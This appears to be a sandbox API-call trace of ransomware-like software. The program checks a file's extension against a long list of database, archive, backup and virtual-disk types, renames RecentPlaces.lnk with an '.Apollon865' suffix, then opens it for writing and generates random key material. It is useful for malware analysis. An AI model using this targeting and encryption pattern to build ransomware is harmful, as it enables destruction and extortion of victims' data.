	[0051.966] lstrlenW (lpString=".sys") returned 4
	[0051.966] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".sys") returned 1
	[0051.966] lstrlenW (lpString="RecentPlaces.lnk") returned 16
	[0051.966] lstrlenW (lpString="bak") returned 3
	[0051.966] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0051.966] lstrlenW (lpString="ba_") returned 3
	[0051.966] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0051.966] lstrlenW (lpString="dbb") returned 3
	[0051.966] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0051.966] lstrlenW (lpString="vmdk") returned 4
	[0051.966] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0051.966] lstrlenW (lpString="rar") returned 3
	[0051.966] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0051.966] lstrlenW (lpString="zip") returned 3
	[0051.966] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0051.966] lstrlenW (lpString="tgz") returned 3
	[0051.966] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0051.966] lstrlenW (lpString="vbox") returned 4
	[0051.966] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0051.966] lstrlenW (lpString="vdi") returned 3
	[0051.966] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0051.966] lstrlenW (lpString="vhd") returned 3
	[0051.966] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0051.966] lstrlenW (lpString="vhdx") returned 4
	[0051.966] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0051.966] lstrlenW (lpString="avhd") returned 4
	[0051.966] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0051.966] lstrlenW (lpString="db") returned 2
	[0051.966] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0051.966] lstrlenW (lpString="db2") returned 3
	[0051.966] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0051.967] lstrlenW (lpString="db3") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0051.967] lstrlenW (lpString="dbf") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0051.967] lstrlenW (lpString="mdf") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0051.967] lstrlenW (lpString="mdb") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0051.967] lstrlenW (lpString="sql") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0051.967] lstrlenW (lpString="sqlite") returned 6
	[0051.967] lstrcmpiW (lpString1="es.lnk", lpString2="sqlite") returned -1
	[0051.967] lstrlenW (lpString="sqlite3") returned 7
	[0051.967] lstrcmpiW (lpString1="ces.lnk", lpString2="sqlite3") returned -1
	[0051.967] lstrlenW (lpString="sqlitedb") returned 8
	[0051.967] lstrcmpiW (lpString1="aces.lnk", lpString2="sqlitedb") returned -1
	[0051.967] lstrlenW (lpString="xml") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0051.967] lstrlenW (lpString="$er") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0051.967] lstrlenW (lpString="4dd") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0051.967] lstrlenW (lpString="4dl") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0051.967] lstrlenW (lpString="^^^") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0051.967] lstrlenW (lpString="abs") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0051.967] lstrlenW (lpString="abx") returned 3
	[0051.967] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0051.967] lstrlenW (lpString="accdb") returned 5
	[0051.967] lstrcmpiW (lpString1="s.lnk", lpString2="accdb") returned 1
	[0051.967] lstrlenW (lpString="accdc") returned 5
	[0051.967] lstrcmpiW (lpString1="s.lnk", lpString2="accdc") returned 1
	[0051.967] lstrlenW (lpString="accde") returned 5
	[0051.968] lstrcmpiW (lpString1="s.lnk", lpString2="accde") returned 1
	[0051.968] lstrlenW (lpString="accdr") returned 5
	[0051.968] lstrcmpiW (lpString1="s.lnk", lpString2="accdr") returned 1
	[0051.968] lstrlenW (lpString="accdt") returned 5
	[0051.968] lstrcmpiW (lpString1="s.lnk", lpString2="accdt") returned 1
	[0051.968] lstrlenW (lpString="accdw") returned 5
	[0051.968] lstrcmpiW (lpString1="s.lnk", lpString2="accdw") returned 1
	[0051.968] lstrlenW (lpString="accft") returned 5
	[0051.968] lstrcmpiW (lpString1="s.lnk", lpString2="accft") returned 1
	[0051.968] lstrlenW (lpString="adb") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0051.968] lstrlenW (lpString="adb") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0051.968] lstrlenW (lpString="ade") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0051.968] lstrlenW (lpString="adf") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0051.968] lstrlenW (lpString="adn") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0051.968] lstrlenW (lpString="adp") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0051.968] lstrlenW (lpString="alf") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0051.968] lstrlenW (lpString="ask") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0051.968] lstrlenW (lpString="btr") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0051.968] lstrlenW (lpString="cat") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0051.968] lstrlenW (lpString="cdb") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0051.968] lstrlenW (lpString="ckp") returned 3
	[0051.968] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0051.968] lstrlenW (lpString="cma") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0051.969] lstrlenW (lpString="cpd") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0051.969] lstrlenW (lpString="dacpac") returned 6
	[0051.969] lstrcmpiW (lpString1="es.lnk", lpString2="dacpac") returned 1
	[0051.969] lstrlenW (lpString="dad") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0051.969] lstrlenW (lpString="dadiagrams") returned 10
	[0051.969] lstrcmpiW (lpString1="Places.lnk", lpString2="dadiagrams") returned 1
	[0051.969] lstrlenW (lpString="daschema") returned 8
	[0051.969] lstrcmpiW (lpString1="aces.lnk", lpString2="daschema") returned -1
	[0051.969] lstrlenW (lpString="db-journal") returned 10
	[0051.969] lstrcmpiW (lpString1="Places.lnk", lpString2="db-journal") returned 1
	[0051.969] lstrlenW (lpString="db-shm") returned 6
	[0051.969] lstrcmpiW (lpString1="es.lnk", lpString2="db-shm") returned 1
	[0051.969] lstrlenW (lpString="db-wal") returned 6
	[0051.969] lstrcmpiW (lpString1="es.lnk", lpString2="db-wal") returned 1
	[0051.969] lstrlenW (lpString="dbc") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0051.969] lstrlenW (lpString="dbs") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0051.969] lstrlenW (lpString="dbt") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0051.969] lstrlenW (lpString="dbv") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0051.969] lstrlenW (lpString="dbx") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0051.969] lstrlenW (lpString="dcb") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0051.969] lstrlenW (lpString="dct") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0051.969] lstrlenW (lpString="dcx") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0051.969] lstrlenW (lpString="ddl") returned 3
	[0051.969] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0051.970] lstrlenW (lpString="dlis") returned 4
	[0051.970] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0051.970] lstrlenW (lpString="dp1") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0051.970] lstrlenW (lpString="dqy") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0051.970] lstrlenW (lpString="dsk") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0051.970] lstrlenW (lpString="dsn") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0051.970] lstrlenW (lpString="dtsx") returned 4
	[0051.970] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0051.970] lstrlenW (lpString="dxl") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0051.970] lstrlenW (lpString="eco") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0051.970] lstrlenW (lpString="ecx") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0051.970] lstrlenW (lpString="edb") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0051.970] lstrlenW (lpString="epim") returned 4
	[0051.970] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0051.970] lstrlenW (lpString="fcd") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0051.970] lstrlenW (lpString="fdb") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0051.970] lstrlenW (lpString="fic") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0051.970] lstrlenW (lpString="flexolibrary") returned 12
	[0051.970] lstrcmpiW (lpString1="ntPlaces.lnk", lpString2="flexolibrary") returned 1
	[0051.970] lstrlenW (lpString="fm5") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0051.970] lstrlenW (lpString="fmp") returned 3
	[0051.970] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0051.971] lstrlenW (lpString="fmp12") returned 5
	[0051.971] lstrcmpiW (lpString1="s.lnk", lpString2="fmp12") returned 1
	[0051.971] lstrlenW (lpString="fmpsl") returned 5
	[0051.971] lstrcmpiW (lpString1="s.lnk", lpString2="fmpsl") returned 1
	[0051.971] lstrlenW (lpString="fol") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0051.971] lstrlenW (lpString="fp3") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0051.971] lstrlenW (lpString="fp4") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0051.971] lstrlenW (lpString="fp5") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0051.971] lstrlenW (lpString="fp7") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0051.971] lstrlenW (lpString="fpt") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0051.971] lstrlenW (lpString="frm") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0051.971] lstrlenW (lpString="gdb") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0051.971] lstrlenW (lpString="gdb") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0051.971] lstrlenW (lpString="grdb") returned 4
	[0051.971] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0051.971] lstrlenW (lpString="gwi") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0051.971] lstrlenW (lpString="hdb") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0051.971] lstrlenW (lpString="his") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0051.971] lstrlenW (lpString="ib") returned 2
	[0051.971] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0051.971] lstrlenW (lpString="idb") returned 3
	[0051.971] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0051.971] lstrlenW (lpString="ihx") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0051.972] lstrlenW (lpString="itdb") returned 4
	[0051.972] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0051.972] lstrlenW (lpString="itw") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0051.972] lstrlenW (lpString="jet") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0051.972] lstrlenW (lpString="jtx") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0051.972] lstrlenW (lpString="kdb") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0051.972] lstrlenW (lpString="kexi") returned 4
	[0051.972] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0051.972] lstrlenW (lpString="kexic") returned 5
	[0051.972] lstrcmpiW (lpString1="s.lnk", lpString2="kexic") returned 1
	[0051.972] lstrlenW (lpString="kexis") returned 5
	[0051.972] lstrcmpiW (lpString1="s.lnk", lpString2="kexis") returned 1
	[0051.972] lstrlenW (lpString="lgc") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0051.972] lstrlenW (lpString="lwx") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0051.972] lstrlenW (lpString="maf") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0051.972] lstrlenW (lpString="maq") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0051.972] lstrlenW (lpString="mar") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0051.972] lstrlenW (lpString="marshal") returned 7
	[0051.972] lstrcmpiW (lpString1="ces.lnk", lpString2="marshal") returned -1
	[0051.972] lstrlenW (lpString="mas") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0051.972] lstrlenW (lpString="mav") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0051.972] lstrlenW (lpString="maw") returned 3
	[0051.972] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0051.973] lstrlenW (lpString="mdbhtml") returned 7
	[0051.973] lstrcmpiW (lpString1="ces.lnk", lpString2="mdbhtml") returned -1
	[0051.973] lstrlenW (lpString="mdn") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0051.973] lstrlenW (lpString="mdt") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0051.973] lstrlenW (lpString="mfd") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0051.973] lstrlenW (lpString="mpd") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0051.973] lstrlenW (lpString="mrg") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0051.973] lstrlenW (lpString="mud") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0051.973] lstrlenW (lpString="mwb") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0051.973] lstrlenW (lpString="myd") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0051.973] lstrlenW (lpString="ndf") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0051.973] lstrlenW (lpString="nnt") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0051.973] lstrlenW (lpString="nrmlib") returned 6
	[0051.973] lstrcmpiW (lpString1="es.lnk", lpString2="nrmlib") returned -1
	[0051.973] lstrlenW (lpString="ns2") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0051.973] lstrlenW (lpString="ns3") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0051.973] lstrlenW (lpString="ns4") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0051.973] lstrlenW (lpString="nsf") returned 3
	[0051.973] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0051.973] lstrlenW (lpString="nv") returned 2
	[0051.973] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0051.974] lstrlenW (lpString="nv2") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0051.974] lstrlenW (lpString="nwdb") returned 4
	[0051.974] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0051.974] lstrlenW (lpString="nyf") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0051.974] lstrlenW (lpString="odb") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0051.974] lstrlenW (lpString="odb") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0051.974] lstrlenW (lpString="oqy") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0051.974] lstrlenW (lpString="ora") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0051.974] lstrlenW (lpString="orx") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0051.974] lstrlenW (lpString="owc") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0051.974] lstrlenW (lpString="p96") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0051.974] lstrlenW (lpString="p97") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0051.974] lstrlenW (lpString="pan") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0051.974] lstrlenW (lpString="pdb") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0051.974] lstrlenW (lpString="pdm") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0051.974] lstrlenW (lpString="pnz") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0051.974] lstrlenW (lpString="qry") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0051.974] lstrlenW (lpString="qvd") returned 3
	[0051.974] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0051.974] lstrlenW (lpString="rbf") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0051.975] lstrlenW (lpString="rctd") returned 4
	[0051.975] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0051.975] lstrlenW (lpString="rod") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0051.975] lstrlenW (lpString="rodx") returned 4
	[0051.975] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0051.975] lstrlenW (lpString="rpd") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0051.975] lstrlenW (lpString="rsd") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0051.975] lstrlenW (lpString="sas7bdat") returned 8
	[0051.975] lstrcmpiW (lpString1="aces.lnk", lpString2="sas7bdat") returned -1
	[0051.975] lstrlenW (lpString="sbf") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0051.975] lstrlenW (lpString="scx") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0051.975] lstrlenW (lpString="sdb") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0051.975] lstrlenW (lpString="sdc") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0051.975] lstrlenW (lpString="sdf") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0051.975] lstrlenW (lpString="sis") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0051.975] lstrlenW (lpString="spq") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0051.975] lstrlenW (lpString="te") returned 2
	[0051.975] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0051.975] lstrlenW (lpString="teacher") returned 7
	[0051.975] lstrcmpiW (lpString1="ces.lnk", lpString2="teacher") returned -1
	[0051.975] lstrlenW (lpString="tmd") returned 3
	[0051.975] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0051.975] lstrlenW (lpString="tps") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0051.976] lstrlenW (lpString="trc") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0051.976] lstrlenW (lpString="trc") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0051.976] lstrlenW (lpString="trm") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0051.976] lstrlenW (lpString="udb") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0051.976] lstrlenW (lpString="udl") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0051.976] lstrlenW (lpString="usr") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0051.976] lstrlenW (lpString="v12") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0051.976] lstrlenW (lpString="vis") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0051.976] lstrlenW (lpString="vpd") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0051.976] lstrlenW (lpString="vvv") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0051.976] lstrlenW (lpString="wdb") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0051.976] lstrlenW (lpString="wmdb") returned 4
	[0051.976] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0051.976] lstrlenW (lpString="wrk") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0051.976] lstrlenW (lpString="xdb") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0051.976] lstrlenW (lpString="xld") returned 3
	[0051.976] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0051.976] lstrlenW (lpString="xmlff") returned 5
	[0051.976] lstrcmpiW (lpString1="s.lnk", lpString2="xmlff") returned -1
	[0051.976] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Links\\RecentPlaces.lnk.Apollon865") returned 50
	[0051.977] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk.Apollon865" (normalized: "c:\\users\\default\\links\\recentplaces.lnk.apollon865"), dwFlags=0x1) returned 1
	[0051.977] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk.Apollon865" (normalized: "c:\\users\\default\\links\\recentplaces.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0051.977] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=363) returned 1
	[0051.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0051.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0051.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0051.978] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0051.978] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0051.978] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0051.978] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0x15c
	[0051.999] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000
	[0052.000] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0052.001] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0052.001] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0052.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0052.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0052.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.001] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.001] CloseHandle (hObject=0x15c) returned 1
	[0052.002] CloseHandle (hObject=0xc0) returned 1
	[0052.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.002] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0
	[0052.002] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
